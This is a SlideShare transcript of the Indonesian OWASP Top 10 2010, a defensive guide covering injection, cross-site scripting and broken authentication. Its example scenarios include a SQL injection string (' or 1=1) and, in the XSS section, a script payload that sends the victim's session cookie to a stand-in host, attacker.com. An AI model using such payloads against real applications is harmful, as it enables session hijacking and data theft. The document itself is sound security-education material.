• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
OWASP Top 10_-_2010_Final_Indonesia_v1.0.1
 

OWASP Top 10_-_2010_Final_Indonesia_v1.0.1

on

  • 1,340 views

OWASP Top 10 2010 dalam Bahasa Indonesia

OWASP Top 10 2010 dalam Bahasa Indonesia

Statistics

Views

Total Views
1,340
Views on SlideShare
1,328
Embed Views
12

Actions

Likes
1
Downloads
47
Comments
0

1 Embed 12

http://owaspid.blogspot.com 12

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    OWASP Top 10_-_2010_Final_Indonesia_v1.0.1 OWASP Top 10_-_2010_Final_Indonesia_v1.0.1 Document Transcript

    • Versi Indonesia
    • O Tentang OWASPKata Pengantar Tentang OWASPSoftware yang tidak aman telah mengancam infrastruktur Open Web Application Security Project (OWASP) adalahkeuangan, kesehatan, pertahanan, energi, dan infrastruktur komunitas terbuka yang didedikasikan untuk memungkinkankritikal lainnya. Dengan semakin kompleks dan terhubungnya organisasi mengembangkan, membeli, dan memeliharainfrastruktur digital kita, kesulitan mencapai keamanan aplikasi yang dapat dipercaya. Di OWASP anda akanaplikasi meningkat secara eksponensial. Kita tidak dapat lagi menemukan free and open …mentoleransi masalah keamanan sederhana seperti yangditampilkan dalam OWASP Top 10. • Tool dan standar keamanan aplikasi • Buku tentang uji keamanan aplikasi, pengembangan kodeTujuan proyek Top 10 adalah meningkatkan kesadaran aman, dan review kode keamanantentang keamanan aplikasi dengan mengidentifikasi • Kendali keamanan dan pustaka standarbeberapa risiko kritikal yang dihadapi organisasi. Proyek Top • Cabang lokal di seluruh dunia10 menjadi acuan beragam standar, buku, alat, dan • Riset terkiniorganisasi, termasuk MITRE, PCI DSS, DISA, FTC, dan banyak • Konferensi lengkap di seluruh dunialagi. Rilis OWASP Top 10 ini menandai tahun ke-8 proyek • Mailing listpeningkatan kesadaran pentingnya risiko keamanan aplikasi. • Dan banyak lagi … di www.owasp.orgOWASP Top 10 pertama kali dirilis tahun 2003, update minorpada tahun 2004 dan 2007, dan ini adalah rilis tahun 2010. Seluruh tool , dokumen, forum, dan cabang OWASP bebas dan terbuka bagi semua orang yang tertarik memperbaikiKami mendorong anda menggunakan Top 10 untuk memulai keamanan aplikasi. Kami mendukung pendekatan keamanankeamanan aplikasi pada organisasi anda. Pengembang dapat aplikasi sebagai masalah person, proses, dan teknologi karenabelajar dari kesalahan organisasi lain. Manajemen harus pendekatan paling efektif ke keamanan aplikasi membutuhkanmulai berpikir bagaimana mengelola risiko yang ditimbulkan perbaikan di seluruh area ini.oleh aplikasi pada perusahaan mereka. OWASP adalah jenis organisasi baru. Kebebasan kami dariNamun Top 10 bukanlah program keamanan aplikasi. tekanan komersial memungkinkan kami memberikan informasiBerikutnya, OWASP merekomendasikan organisasi membuat terkait keamanan aplikasi yang tidak bias, praktis, efektif-landasan kuat untuk pelatihan, standar, dan alat yang biaya. OWASP tidak terafiliasi dengan perusahaan teknologimemungkinan pembuatan kode yang aman. Di atas landasan manapun, meskipun kami mendukung penggunaan teknologiitu, organisasi harus mengintegrasikan keamanan pada keamanan komersial. Serupa dengan banyak proyek softwareproses pengembangan, verifikasi, dan pemeliharaan. open-source, OWASP menghasilkan beragam jenis materiManajement dapat menggunakan data yang dihasilkan dengan cara kolaborasi dan terbuka.aktivitas ini untuk mengelola biaya dan risiko terkait dengankeamanan aplikasi. Yayasan OWASP merupakan entitas non-profit yang memastikan sukses jangka panjang proyek. Hampir semuaKami harap OWASP Top 10 bermanfaat bagi usaha keamanan yang terasosiasi dengan OWASP adalah sukarelawan, termasukaplikasi anda. Jangan ragu untuk menghubungi OWASP Dewan OWASP, Komite Global, Pemimpin Cabang, Pemimpindengan pertanyaan, komentar, dan ide anda, baik secara Proyek, dan anggota proyek. Kami mendukung riset keamananterbuka ke OWASP-TopTen@lists.owasp.org atau tertutup inovatif dengan grant dan infrastruktur.ke dave.wichers@owasp.org. Bergabunglah dengan kami!http://www.owasp.org/index.php/Top_10Hak Cipta dan Lisensi Hak Cipta © 2003 – 2010 Yayasan OWASP Dokumen ini dirilis di bawah lisensi Creative Commons Attribution ShareAlike 3.0. Untuk penggunaan kembali atau distribusi, anda harus menjelaskan lisensi pekerjaan ini.
    • P PendahuluanSelamat DatangSelamat Datang di OWASP Top 10 2010! Pembaruan signifikan ini menampilkan daftar yang lebih rinci, berfokus risiko atas Top10 Most Critical Web Application Security Risks. OWASP Top 10 adalah selalu mengenai risiko, namun versi pembaruan inimembuatnya lebih jelas dibanding edisi sebelumnya. Ia juga menyediakan informasi tambahan tentang bagaimanamemprakirakan risiko-risiko ini dalam aplikasi anda.Untuk setiap hal dalam top 10, rilis ini mendiskusikan kemungkinan dan faktor konsekuensi yang digunakan untukmengkategorikan severity umum risiko. Ia lalu menampilkan panduan bagaimana memverifikasi bila anda memiliki masalah diarea ini, bagaimana menghindarinya, beberapa contoh cacat, dan petunjuk ke informasi lebih lanjut.Tujuan utama OWASP Top 10 adalah untuk mendidik pengembang, desainer, arsitek, manajer, dan organisasi tentangkonsekuensi kelemahan keamanan aplikasi web yang paling penting. Top 10 memberi teknik dasar untuk melindungi darimasalah berisiko tinggi ini– dan juga menyediakan panduan arah setelahnya.Peringatan PenghargaanJangan berhenti di 10. Terdapat ratusan isu yang dapat Terima kasih kepada Aspect Security untuk memulai,mempengaruhi keamanan aplikasi web sebagaimana memimpin, dan memperbarui OWASP Top 10 sejak tahundidiskusikan dalam OWASP Developer’s Guide. Ia adalah 2003, dan kepada para penulis utamanya: Jeff Williams danbacaan penting untuk mereka yang membuat aplikasi web. Dave Wichers.Panduan tentang bagaimana menemukan kerentanan secaraefektif dalam aplikasi web ada di OWASP Testing Guide danOWASP Code Review Guide, yang telah mengalamipembaruan signifikan sejak rilis OWASP Top 10 sebelumnya. Kami ingin berterima kasih kepada organisasi yang telahPerubahan konstan. Top 10 ini akan terus berubah. Bahkan memberikan data kerentanan untuk mendukung pembaruantanpa merubah satu baris dalam kode aplikasi, anda mungkin ini :telah rentan ke sesuatu yang belum diketahui. Silakan lihat  Aspect Securitynasihat di akhir Top 10 dalam “Apa Selanjutnya Bagi  MITRE – CVEPengembang, Verifier, dan Organisasi” untuk informasi lebih  Softteklanjut.  WhiteHat Security Inc. – StatisticsBerpikir positif. Ketika anda siap berhenti mengejar Kami juga berterima kasih kepada mereka yang telah memberikerentanan dan berfokus menetapkan kendali keamanan kontribusi atas isi yang signifikan atau melakukan review atasyang kuat, OWASP telah memproduksi Application Security Top 10:Verification Standard (ASVS) sebagai panduan bagi reviewer  Mike Boberski (Booz Allen Hamilton)organisasi dan aplikasi mengenai hal yang diverifikasi.  Juan Carlos Calderon (Softtek)  Michael Coates (Aspect Security)Gunakan alat secara bijaksana. Kerentanan keamanan dapat  Jeremiah Grossman (WhiteHat Security Inc.)bersifat kompleks dan terkubur dalam gunungan kode.  Jim Manico (for all the Top 10 podcasts)Dalam semua kasus, pendekatan paling efektif menemukan  Paul Petefish (Solutionary Inc.)dan menghilangkan kelemahan ini adalah manusia ahli  Eric Sheridan (Aspect Security)dengan alat yang baik.  Neil Smithline (OneStopAppSecurity.com)  Andrew van der StockDorong ke kiri. Aplikasi web yang aman tercipta ketika  Colin Watson (Watson Hall, Ltd.)digunakan secure software development lifecycle. Sebagai  OWASP Denmark Chapter (Led by Ulf Munkedal)panduan mengimplementasikan SDLC aman, kami telah  OWASP Sweden Chapter (Led by John Wilander)merilis Open Software Assurance Maturity Model (SAMM),pembaruan signifikan atas OWASP CLASP Project.
    • CR Catatan RilisApa yang berubah dari 2007 ke 2010?Landscape ancaman aplikasi Internet selalu berubah. Faktor kunci evolusi ini adalah kemajuan yang dilakukan oleh penyerang,rilis teknologi baru, dan juga penggunaan sistem yang semakin kompleks. Untuk mengimbanginya, kami secara periodikmemperbarui OWASP Top 10. Dalam rilis 2010 ini, kami telah melakukan tiga perubahan signifikan:1) Kami mengklarifikasi bahwa Top 10 adalah tentang Top 10 Risks, bukan Top 10 kelemahan yang paling umum. Lihat rincian dalam halaman “Risiko Keamanan Aplikasi” di bawah.1) Kami merubah metodologi peringkat untuk menduga risiko, tidak sekedar bergantung pada frekuensi kelemahan dimaksud. Hal ini berpengaruh pada urutan Top 10, yang dapat dilihat pada tabel di bawah.2) Kami mengganti dua isu pada daftar dengan dua isu baru : + DITAMBAHKAN: A6 – Kesalahan Konfigurasi Keamanan. Isu ini adalah A10 dalam Top 10 2004: Manajemen Konfigurasi Tidak aman, tapi dihapus di 2007 karena tidak dianggap sebagai masalah software. Namun, dari pandangan risiko organisasi dan keberadaannya, ia patut dicantumkan kembali dalam Top 10. + DITAMBAHKAN: A10 – Redireksi dan Forward Yang Tidak Divalidasi. Isu ini memulai debutnya di Top 10. Bukti menunjukkan bahwa isu yang relatif tidak dikenal ini tersebar luas dan dapat menyebabkan kerusakan signifikan. – DIHAPUS: A3 – Eksekusi File Berbahaya. Ia masih merupakan masalah signifikan dalam beragam lingkungan. Namun keberadaannya di 2007 disebabkan oleh banyaknya aplikasi PHP yang memiliki masalah ini. Sekarang PHP telah menyertakan konfigurasi aman secara baku, sehingga mengurangi keberadaan masalah ini. – DIHAPUS: A6 – Kebocoran Informasi dan Penanganan Kesalahan Tidak Tepat. Isu ini sangat banyak, namun dampaknya biasanya minimal. Dengan penambahan Kesalahan Konfigurasi Keamanan, konfigurasi penanganan kesalahan yang tepat merupakan bagian konfigurasi aman atas aplikasi dan server anda. OWASP Top 10 – 2007 (Sebelumnya) OWASP Top 10 – 2010 (Baru)A2 – Kelemahan Injeksi A1 – InjeksiA1 – Cross Site Scripting (XSS) A2 – Cross-Site Scripting (XSS)A7 – Otentikasi dan Manajemen Sesi Yang Buruk A3 – Otentikasi dan Manajemen Sesi Yang BurukA4 – Referensi Obyek Langsung yang Tidak Aman A4 – Referensi Obyek Langsung yang Tidak AmanA5 – Cross Site Request Forgery (CSRF) A5 – Cross-Site Request Forgery (CSRF)<dulu T10 2004 A10 – Insecure Configuration Management> A6 – Kesalahan Konfigurasi Keamanan (BARU)A8 – Penyimpanan Kriptografi Yang Tidak Aman A7 – Penyimpanan Kriptografi Yang Tidak AmanA10 – Gagal Membatasi Akses URL A8 – Gagal Membatasi Akses URLA9 – Komunikasi Yang Tidak Aman A9 – Perlindungan Layer Transport Yang Tidak Cukup<tidak ada di T10 2007> A10 –Redireksi dan Forward Yang Tidak Divalidasi (BARU)A3 – Ekskekusi File Berbahaya <dihapus dari T10 2010>A6 – Kebocoran Informasi dan Penanganan Kesalahan Yang <dihapus dari T10 2010>Tidak Tepat
    • Risk Risiko-Risiko Keamanan AplikasiApa Saja Risiko-Risiko Keamanan Aplikasi?Penyerang berpotensi menggunakan beragam cara melalui aplikasi Anda untuk membahayakan bisnis atau organisasi Anda.Setiap cara mewakili risiko, yang mungkin, cukup serius untuk memperoleh perhatian. Agen Vektor Kelemahan Kendali Dampak Dampak Ancaman Serangan Kemanan Keamanan Teknis Bisnis Serangan Kelemahan Kendali Dampak Aset Serangan Kelemahan Kendali Dampak Fungsi Serangan Kelemahan Dampak Aset Kelemahan KendaliTerkadang cara ini mudah ditemukan dan dieksploitasi, namun kadang-kadang sulit. Demikian juga, kerusakan yang diakibatkandapat berkisar dari tidak ada apa-apa hingga membuat Anda keluar dari bisnis. Untuk menentukan risiko di organisasi Anda, Andadapat mengevaluasi kemungkinan yang diasosiasikan untuk setiap agen ancaman, vektor serangan, kelemahan keamanan, danmengkombinasikan dengan estimasi dampak teknis dan bisnis bagi organisasi Anda. Semua faktor ini menentukan risikokeseluruhan.Apa Risiko Saya? ReferensiPembaruan OWASP Top 10 ini berfokus pada identifikasi risiko yang paling seriusbagi sebagian besar organisasi. Untuk setiap risiko, kami memberikan informasiumum mengenai kemungkiinan dan dampak teknis dengan menggunakan skema OWASPpenilaian sederhana berikut, yang berdasarkan pada OWASP Risk Rating • OWASP Risk Rating MethodologyMethodology. • Article on Threat/Risk Modeling Agen Vektor Keberadaan Deteksi Dampak Dampak Ancaman Serangan Kelemahan Kelemahan Teknikal Bisnis Mudah Tersebar Mudah Parah Eksternal • FAIR Information Risk Framework Sedang Umum Sedang Sedang ? ? • Microsoft Threat Modeling (STRIDE Sukar Tidak Umum Sukar Rendah and DREAD)Namun demikian, hanya anda yang tahu mengenai lingkungan dan bisnis andasecara khusus. Untuk setiap aplikasi, mungkin tidak ada agen ancaman yang dapatmelakukan serangan yang sesuai, atau dampak teknis tidak membuat perubahan.Karenanya, anda harus mengevaluasi setiap risiko, berfokus pada agen ancaman,kendali keamanan, dan dampak bisnis dalam perusahaan anda.Meski versi-versi terdahulu OWASP Top 10 berfokus pada identifikasi “kerentanan”yang paling umum, namun mereka dirancang berdasarkan risiko. Nama risikodalam Top 10 berasal dari jenis serangan, jenis kelemahan, atau dampak yangditimbulkannya. Kami memilih nama yang dikenal umum dan akan memperolehtingkat kesadaran tinggi.
    • Risiko-Risiko Keamanan AplikasiT10 OWASP Top 10 – 2010 • Kelemahan injeksi, seperti injeksi SQL, OS, dan LDAP, terjadi ketika data yang tidak dapat dipercaya dikirim ke suatu interpreter sebagai bagian dari suatu perintah atau query. Data berbahaya dari A1 – Injeksi penyerang tersebut dapat mengelabui interpreter untuk mengeksekusi perintah yang tidak direncanakan, atau untuk mengakses data yang tidak terotorisasi. •Kelemahan XSS terjadi ketika aplikasi mengambil data yang tidak dapat dipercaya dan mengirimnya A2 – Cross-Site ke suatu web browser tanpa validasi yang memadai. XSS memungkinkan penyerang mengeksekusi Scripting (XSS) script-script di dalam browser korban, yang dapat membajak sesi pengguna, mengubah tampilan website, atau mengarahkan pengguna ke situs-situs jahat.A3 – Otentikasi dan •Fungsi-fungsi aplikasi yang berhubungan dengan otentikasi dan pengelolaan sesi seringkali tidak dimplementasikan dengan benar. Hal ini memungkinkan penyerang mendapatkan password, key, Pengelolaan Sesi dan token-token sesi, atau mengeksploitasi cacat implementasi lainnya untuk memperoleh identitas yang Buruk pengguna yang lain. A4 –Referensi •Direct object reference terjadi ketika pengembang mengekspos referensi ke suatu objek implementasi internal, seperti file, direktori, atau kunci database. Tanpa adanya suatu pemeriksaan Obyek Langsung kendali akses atau perlindungan lainnya, penyerang dapat memanipulasi referensi-referensi ini Yang Tidak Aman untuk mengakses data yang tidak terotorisasi. A5 – Cross-Site •Suatu serangan CSRF memaksa browser korban yang sudah log-on untuk mengirim HTTP request yang dipalsukan, termasuk di dalamnya session cookie korban dan informasi otentikasi lain yang Request Forgery otomatis disertakan, ke suatu aplikasi web yang rentan. Hal ini memungkinkan penyerang untuk (CSRF) memaksa browser korban menghasilkan request yang dianggap sah oleh aplikasi rentan tadi. •Keamanan yang baik mensyaratkan dimilikinya suatu konfigurasi keamanan (yang terdefinisi dan A6 – Kesalahan diterapkan) untuk aplikasi, framework, server aplikasi, web server, server database, dan platform. Konfigurasi Semua pengaturan ini harus didefinisikan, diimplementasikan,dan dipelihara, karena terdapat Keamanan banyak aplikasi yang dirilis tanpa konfigurasi default yang aman. Hal ini juga mencakup menjaga semua software up-to-date, termasuk semua pustaka kode yang digunakan aplikasi tersebut.A7 – Penyimpanan •Banyak aplikasi web yang tidak melindungi data sensitif (seperti data kartu kredit, SSN, kredensial otentikasi) dengan enkripsi atau hashing yang memadai. Penyerang dapat mencuri atau Kriptografi yang memodifikasi data dengan perlindungan lemah semacam itu untuk melakukan pencurian identitas, Tidak Aman kejahatan kartu kredit, atau kriminalitas lain. A8 – Kegagalan •Banyak aplikasi web memeriksa hak akses URL sebelum memberikan link dan tombol-tombol yang diproteksi. Bagaimanapun juga, aplikasi perlu melakukan pemeriksaan kendali akses yang serupa Membatasi Akses setiap kali halaman-halaman ini diakses, atau penyerang akan dapat memalsukan URL untuk URL mengakses halaman-halaman yang tersembunyi ini,A9 – Perlindungan •Aplikasi seringkali gagal untuk mengotentikasi, mengenkripsi, dan melindungi kerahasiaan sertayang Tidak Cukup integritas lalu-lintas jaringan yang sensitif. Ketika aplikasi gagal melakukan hal-hal tersebut, adalah pada Layer dikarenakan ia mendukung algoritma yang lemah, menggunakan sertifikat yang tidak valid atau Transport sudah kadaluarsa, atau karena tidak menggunakannya dengan benar.A10 – Redirect dan •Aplikasi web seringkali mengarahkan (redirect) dan meneruskan (forward) pengguna ke halamanForward yang Tidak dan website lain, dan mengunakan penyerang dapat dapat dipercaya untuk ke situs phishing atau tujuan. Tanpa validasi yang tepat, data yang tidak mengarahkan korban menentukan halaman DIvalidasi malware, atau menggunakan forward untuk mengakses halaman yang tidak terotorisasi.
    • A1 Injeksi Vektor Vektor Kelemahan Security Technical Dampak Business Dampak Agen Serangan Serangan Weakness keamanan Teknikal Impacts Impacts Bisnis Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ MUDAH UMUM RATA-RATA PARAHPertimbangkan Penyerang Cacat injeksi terjadi ketika suatu aplikasi Injeksi dapat Pertimbangkan nilaisetiap orang yang mengirim serangan mengirim data yang tidak dapat dipercaya menyebabkan bisnis data yangdapat mengirim sederhana berbasis ke suatu interpreter. Cacat injeksi hilang atau terpengaruh dandata yang tidak teks yang sangatlah umum, terutama pada legacy rusaknya data, platform yangdapat dipercaya ke mengeksploitasi code, seringkali ditemukan di SQL queries, berkurangnya menjalankansistem, termasuk sintaks interpreter LDAP queries, Xpath queries, perintah akuntabilitas, atau interpreterpara pengguna target. Hampir sistem operasi, argumen program, dsb. penolakan akses. tersebut. Semuaeksternal, pengguna setiap sumber data Cacat injeksi mudah ditemukan ketika Injeksi terkadang data dapat dicuri,internal, dan dapat menjadi melihat kode, tapi lebih sulit lewat dapat mengarah dimodifikasi, atauadministrator. vektor injeksi, pengujian. Scanner dan fuzzer dapat pada pengambil- dihapus. Apakah termasuk sumber membantu penyerang menemukannya. alihan host secara reputasi Anda dapat internal. menyeluruh. jadi rusak?Apakah Saya Rentan terhadap Injeksi? Bagaimana Saya Mencegah Injeksi?Cara terbaik mengetahui apakah aplikasi rentan terhadap Pencegahan injeksi mensyaratkan data yang tidak dapatinjeksi adalah dengan memverifikasi bahwa semua dipercaya tetap terpisah dari perintah-perintah dan queries.penggunaan interpreter secara tegas memisahkan data yangtidak dapat dipercaya dari perintah atau query. Untuk SQL 1. Pilihan yang lebih disukai adalah menggunakan API yangcalls, ini berarti menggunakan bind variables dalam semua aman yang menghindari penggunaan interpreter secaraprepared statements dan stored procedures, serta keseluruhan atau menyediakan interface yangmenghindari dynamic queries. berparameter. Berhati-hatilah terhadap API, seperti stored procedures, yang meskipun berparameter, namunMemeriksa kode adalah cara cepat dan akurat untuk melihat masih tetap dapat menimbulkan injeksi.apakah aplikasi menggunakan interpreter dengan aman.Perangkat analisis kode dapat membantu analis keamanan 2. Jika tidak tersedia API yang berparameter, Anda harusmencari penggunaan interpreter dan melacak aliran data yang berhati-hati meloloskan karakter-karakter khusus denganmelalui aplikasi. Penguji penetrasi dapat memvalidasi isu-isu menggunakan escape syntax khusus untuk interpreter tsbini dengan membuat eksploitasi yang mengkonfirmasi ESAPI OWASP memiliki beberapa escaping routines ini.kerentanan ini. 3. Validasi input positif atau "daftar putih“ (“white list”)Pemindaian dinamis otomatis yang menguji aplikasi dapat dengan kanonikalisasi yang tepat juga direkomendasikan,memberikan gambaran mengenai keberadaan cacat injeksi tetapi bukan merupakan pertahanan yang lengkapyang dapat dieksploitasi. Pemindai tidak selalu dapat mencapai karena banyak aplikasi membutuhkan karakter-karakterinterpreter, dan memiliki kesulitan mendeteksi apakah suatu khusus dalam inputnya. ESAPI OWASP memiliki pustakaserangan berhasil. Error handling yang buruk membuat cacat yang luas mengenai rutin validasi input “white list”.injeksi semakin mudah ditemukan. ReferensiContoh Skenario Serangan OWASPAplikasi menggunakan data yang tidak dapat dipercaya dalam • OWASP SQL Injection Prevention Cheat Sheetkonstruksi SQL call yang rentan berikut: • OWASP Injection Flaws Article String query = "SELECT * FROM accounts WHERE custID=" + request.getParameter("id") +""; • ESAPI Encoder APIPenyerang memodifikasi parameter id dalam browser mereka • ESAPI Input Validation APIuntuk mengirim:‘ or 1=1. Ini mengubah arti query tersebut • ASVS: Output Encoding/Escaping Requirements (V6)untuk mengembalikan semua record database akun, alih-alihhanya akun pelanggan dimaksud. • OWASP Testing Guide: Chapter on SQL Injection Testing http://example.com/app/accountView?id= or 1=1 • OWASP Code Review Guide: Chapter on SQL InjectionDalam kasus terburuk, si penyerang menggunakan kelemahan • OWASP Code Review Guide: Command Injectionini untuk menjalankan stored procedure khusus dalam Eksternaldatabase, yang membuatnya mampu mengambil-alih databasetersebut dan bahkan mungkin juga mengambil-alih server • CWE Entry 77 on Command Injectiontempat database tersebut. • CWE Entry 89 on SQL Injection
    • A2 Cross-Site Scripting (XSS) Vektor Attack Kelemahan Security Technical Dampak Business Dampak Serangan Vectors Weakness keamanan Teknikal Impacts Impacts Bisnis Agen Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ RATA-RATA SANGAT TERSEBAR MUDAH SEDANGPertimbangkan setiap Penyerang dapat XSS merupakan cacat aplikasi web yang paling Penyerang dapat Pertimbangkan nilaiorang yang dapat mengirim serangan lazim. cacat XSS terjadi ketika aplikasi mengekseskusi script bisnis sistem yangmengirim data yang berbasis teks yang menyertakan data yang diberikan pengguna dalam browser korban terpengaruh dantidak dapat dipercaya mengeksploitasi dalam suatu halaman yang dikirim ke browser, untuk membajak sesi semua data yangke sistem, termasuk interpreter di browser. tanpa memvalidasi atau menyaring isi pengguna, mengubah diprosesnya.para pengguna Hampir setiap sumber tersebut. Ada tiga tipe cacat XSS yang dikenal: situs, memasukkaneksternal, pengguna data dapat menjadi 1) Stored, 2) Reflected, dan 3) DOM based XSS. konten berbahaya, Juga pertimbangkaninternal, dan vektor injeksi, mengarahkan dampak bisnis dariadministrator. termasuk sumber- Pendeteksian cacat XSS cukup mudah melalui pengguna, membajak pengungkapan sumber internal pengujian atau analisis kode. browser pengguna kerentanan ini ke seperti data dari menggunakan publik. database. malware, dsb.Apakah Saya Rentan terhadap XSS? Bagaimana Saya Mencegah XSS?Anda harus memastikan bahwa semua input yang diberikan Pencegahan XSS mensyaratkan data yang tidak dipercaya tetappengguna, yang akan dikirim ke browser, terbukti aman (melalui terpisah dari isi browser yang aktif.validasi input), dan input tersebut disaring dengan tepat sebelumdisertakan di halaman output. Pengkodean output yang tepat 1. Opsi yang lebih disukai adalah menyaring semua data yangmemastikan bahwa input semacam itu selalu diperlakukan sebagai tidak dapat dipercaya dengan tepat berdasarkan konteks HTMLteks di browser, dan bukan sebagai konten aktif yang mungkin akan (body, atribut, JavaScript, CSS, atau URL) tempat diletakkannyadieksekusi. data. Para pengembang perlu menyertakan penyaringan ini dalam aplikasi mereka, kecuali jika UI framework mereka telahPerangkat statis maupun dinamis dapat menemukan beberapa melakukan hal ini. Lihat OWASP XSS Prevention Cheat Sheetmasalah XSS secara otomatis. Namun demikian, setiap aplikasi untuk informasi lebih lanjut mengenai teknik penyaringan data.membangun halaman output secara berbeda dan menggunakanbrowser side interpreters yang berbeda (seperti JavaScript, ActiveX, 2. Validasi input positif (whitelist) dengan kanonikalisasi danFlash, dan Silverlight), yang membuat pendeteksian otomatis sulit. decoding yang tepat juga direkomendasikan karena dapatOleh karena itu, cakupan menyeluruh membutuhkan kombinasi membantu melindungi dari XSS; tetapi itu bukan pertahananreview kode dan uji penetrasi manual, sebagai tambahan bagi yang menyeluruh karena ada banyak aplikasi yangberbagai pendekatan otomatis yang digunakan. membutuhkan karakter khusus dalam input mereka. Validasi yang demikian itu seharusnya, sebanyak mungkin,Teknologi Web 2.0, seperti AJAX, membuat XSS lebih sulit dideteksi mendekodekan setiap encoded-input, lalu memvalidasimenggunakan perangkat otomatis. panjang, karakter, format, dan setiap aturan bisnis pada data sebelum menerima input tersebut.Contoh Skenario Serangan ReferensiAplikasi menggunakan data yang tidak dapat dipercaya dalam OWASPkonstruksi cuplikasn HTML berikut tanpa validasi maupun • OWASP XSS Prevention Cheat Sheetpenyaringan : • OWASP Cross-Site Scripting Article (String) page += "<input name=creditcard type=TEXT‘ value=" + request.getParameter("CC") + ">"; • ESAPI Project Home PagePenyerang memodifikasi parameter CC di browser mereka menjadi • ESAPI Encoder API: • ASVS: Output Encoding/Escaping Requirements (V6) ><script>document.location= • ASVS: Input Validation Requirements (V5) http://www.attacker.com/cgi-bin/cookie.cgi? foo=+document.cookie</script>. • Testing Guide: 1st 3 Chapters on Data Validation TestingHal ini menyebabkan session ID korban terkirim ke situs penyerang, • OWASP Code Review Guide: Chapter on XSS Reviewsehingga memungkinkan penyerang membajak sesi terkini Eksternalpengguna. Perlu dicatat bahwa penyerang juga dapat menggunakanXSS untuk mengalahkan pertahanan CSRF yang mungkin dipakai oleh • CWE Entry 79 on Cross-Site Scriptingaplikasi. Lihat A5 untuk info mengenai CSRF. • RSnake’s XSS Attack Cheat Sheet
    • Otentikasi dan Pengelolaan Sesi A3 yang Buruk Vektor Kelemahan Dampak Dampak Agen Serangan keamanan Teknikal Bisnis Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ RATA-RATA UMUM RATA-RATA PARAHPertimbangkan para Penyerang Para pengembang seringkali membuat sendiri Cacat semacam ini Pertimbangkan nilaipenyerang eksternal menggunakan skema otentikasi dan pengelolaan sesi, namun memungkinkan bisnis data atauyang anonim, juga kebocoran atau cacat membuatnya dengan benar adalah sulit. beberapa atau bahkan fungsi-fungsi aplikasisemua pengguna, dalam fungsi-fungsi Akibatnya, skema tersebut seringkali memiliki semua akun diserang. yang terpengaruh.yang dapat mencoba otentikasi atau cacat dalam area seperti logout, pengelolaan Setelah berhasil,mencuri akun orang pengelolaan sesi password, timeout, fitur “ingat aku”, penyerang dapat Juga pertimbangkanlain. Juga (contoh: akun, pertanyaan rahasia, perbaharuan akun, dsb. melakukan segala hal dampak bisnispertimbangkan orang password, session ID Menemukan cacat semacam ini kadangkala yang dapat dilakukan pengungkapandalam yang ingin yang terekspos) untuk merupakan hal yang sulit, karena setiap korban. Akun yang kerentanan ini kemenyembunyikan menyamar sebagai implementasinya unik. memiliki hak istimewa publik.tindakannya. pengguna lain. seringkali menjadi target.Apakah Saya Rentan? Bagaimana Saya Mencegah Hal Ini?Aset utama yang perlu dilindungi adalah kredensial dan session ID. Rekomendasi utama bagi suatu organisasi adalah dengan menyediakan (bagi para pengembang):1. Apakah kredensial selalu terlindungi ketika disimpan dengan menggunakan hashing atau enkripsi? Lihat A7. 1. Satu set tunggal kendali otentikasi dan pengelolaan sesi yang kuat. Kendali-kendali tersebut harus diusahakan untuk:2. Dapatkah kredensial ditebak atau ditimpa melalui fungsi pengelolaan akun yang lemah (misal, pembuatan akun, a) memenuhi semua persyaratan otentikasi dan pengelolaan pengubahan password, pemulihan password, session ID yang sesi yang didefinisikan dalam area V2 (Otentikasi) dan V3 lemah)? (Pengelolaan Sesi) Application Security Verification Standard OWASP.3. Apakah session ID diekspos di URL (misal, penulisan ulang URL)? b) memiliki antarmuka sederhana untuk para pengembang.4. Apakah session ID rentan terhadap serangan session fixation? Pertimbangkan ESAPI Authenticator and User APIs sebagai5. Lakukan timeout session ID dan dapatkah pengguna logout? contoh yang baik untuk emulasi, pemakaian, atau dicontoh.6. Apakah session ID dirotasi setelah login berhasil? 2. Upaya-upaya yang kuat juga harus dilakukan untuk7. Apakah password, session ID, dan kredensial lainnya dikirim menghindari cacat XSS yang dapat digunakan untuk mencuri hanya melalui koneksi TLS? Lihat A9. session ID. Lihat A2.Lihat area-area persyaratan ASVS V2 dan V3 untuk lebih rinci.Contoh Skenario Serangan ReferensiSkenario #1: Aplikasi pemesanan penerbangan yang mendukung OWASPpenulisan ulang URL menaruh session ID dalam URL: Untuk informasi lebih lengkapnya mengenai persyaratan dan http://example.com/sale/saleitems;jsessionid= masalah-masalah yang harus dihindari di area ini, lihat ASVS 2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii requirements areas for Authentication (V2) and SessionPengguna yang telah diotentikasi pada situs itu ingin memberitahu Management (V3).temannya mengenai penjualan tersebut. Ia mengirim email link di • OWASP Authentication Cheat Sheetatas tanpa tahu bahwa ia juga memberi session ID-nya. Ketikateman-temannya menggunakan link tersebut, mereka akan • ESAPI Authenticator APImenggunakan sesi dan kartu kreditnya. • ESAPI User APISkenario #2: Timeout aplikasi tidak diset dengan tepat. Penggunamemakai komputer publik untuk mengakses situs. Alih-alih memilih • OWASP Development Guide: Chapter on Authentication"logout", si pengguna hanya menutup browser tab dan pergi. • OWASP Testing Guide: Chapter on AuthenticationPenyerang menggunakan browser yang sama 1 jam kemudian, danmasih tetap terotentikasi. EksternalSkenario #3: Penyerang internal atau eksternal memperoleh akses • CWE Entry 287 on Improper Authenticationke database password sistem. Password pengguna tidak dienkripsi,sehingga setiap password pengguna terekspos ke penyerang.
